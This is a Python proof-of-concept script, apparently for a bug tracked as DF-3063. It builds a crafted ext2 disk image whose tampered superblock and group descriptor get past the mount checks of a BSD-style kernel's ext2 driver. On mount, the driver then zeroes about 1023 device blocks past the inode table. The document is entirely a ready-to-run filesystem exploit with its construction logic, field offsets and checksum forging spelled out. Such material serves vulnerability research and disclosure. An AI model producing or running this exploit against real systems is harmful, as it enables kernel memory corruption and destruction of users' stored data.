DF-3063 / craft3063.py
#!/usr/bin/env python3 """Craft the DF-3063 trigger image. REV0 superblock (bypasses both the inode_size validation and the feature-mask check in ext2_check_sb_compat) with the GDT_CSUM feature bit set, EXT2_BG_INODE_ZEROED *clear*, bg_itable_unused = ipg, and the RAW s_inode_size field inflated to 0xFFFF. ext2_zero_inode_table() computes all_blks = le16toh(fs->e2fs->e2fs_inode_size) * ipg / bsize (raw!) used_blks = howmany(ipg - itable_unused, bsize/e2fs_isize) (=0) for (i = 0; i < all_blks - used_blks; i++) getblk+clrbuf+bawrite(i_tables + used_blks + i) (sys/vfs/ext2fs/ext2_alloc.c:1251-1267) => 1023 zeroed device blocks starting at the inode table (mount only validated itpg=2 blocks). bsize=1024, isize=128 (ipb=8), ipg=16 (>=ipb legal), 1 group. Usage: craft3063.py <out.img> """ import struct, subprocess, sys SB = 1024 def crc16_tab(): tab = [] for i in range(256): c = i for _ in range(8): c = (c >> 1) ^ 0xA001 if c & 1 else c >> 1 tab.append(c) return tab TAB = crc16_tab() def crc16(buf, crc): for b in buf: crc = ((crc >> 8) ^ TAB[(crc ^ b) & 0xff]) & 0xFFFF return crc def gd_csum(uuid, cg, gd): crc = crc16(uuid, 0xFFFF) crc = crc16(struct.pack('<I', cg), crc) crc = crc16(gd[0:30], crc) return crc def main(out): # 4MB, ext2 (rev 0), 1024-byte blocks, 128-byte inodes subprocess.run(['mke2fs', '-q', '-F', '-t', 'ext2', '-b', '1024', '-I', '128', '-N', '16', out, '4096'], check=True) f = open(out, 'r+b') f.seek(SB); sb = bytearray(f.read(1024)) assert struct.unpack_from('<H', sb, 0x38)[0] == 0xEF53 def p32(o, v): struct.pack_into('<I', sb, o, v) def p16(o, v): struct.pack_into('<H', sb, o, v) def u32(o): return struct.unpack_from('<I', sb, o)[0] bsize = 1024 << u32(0x18) uuid = bytes(sb[0x68:0x78]) p32(0x4C, 0) # s_rev_level = 0 => isize:=128, raw field free p16(0x58, 0xFFFF) # s_inode_size (RAW) = 0xFFFF (unvalidated @rev0) p32(0x10, 16) # s_free_inodes_count = 16 p32(0x28, 16) # s_inodes_per_group = 16 (>= ipb=8: legal) ro = u32(0x64) p32(0x64, ro | 0x0010) # ro_compat |= GDT_CSUM (rev0 skips feature gate) # group descriptor 0 (block 2 for bsize 1024) f.seek(2 * bsize); gd = bytearray(f.read(32)) itable = struct.unpack_from('<I', gd, 8)[0] struct.pack_into('<H', gd, 14, 16) # bg_free_inodes_count = 16 flags = struct.unpack_from('<H', gd, 18)[0] struct.pack_into('<H', gd, 18, flags & ~0x4) # EXT2_BG_INODE_ZEROED clear struct.pack_into('<H', gd, 28, 16) # bg_itable_unused = ipg => used=0 struct.pack_into('<H', gd, 30, gd_csum(uuid, 0, gd)) f.seek(2 * bsize); f.write(gd) f.seek(SB); f.write(sb) f.close() print(f"craft3063: itable={itable} itpg=2 all_blks={0xFFFF*16//1024} " f"zeroed-blocks=[{itable}..{itable + 0xFFFF*16//1024 - 1}] " f"gd_flags={flags & ~0x4:#x}") print(f"OK wrote {out}") if __name__ == '__main__': main(sys.argv[1]) |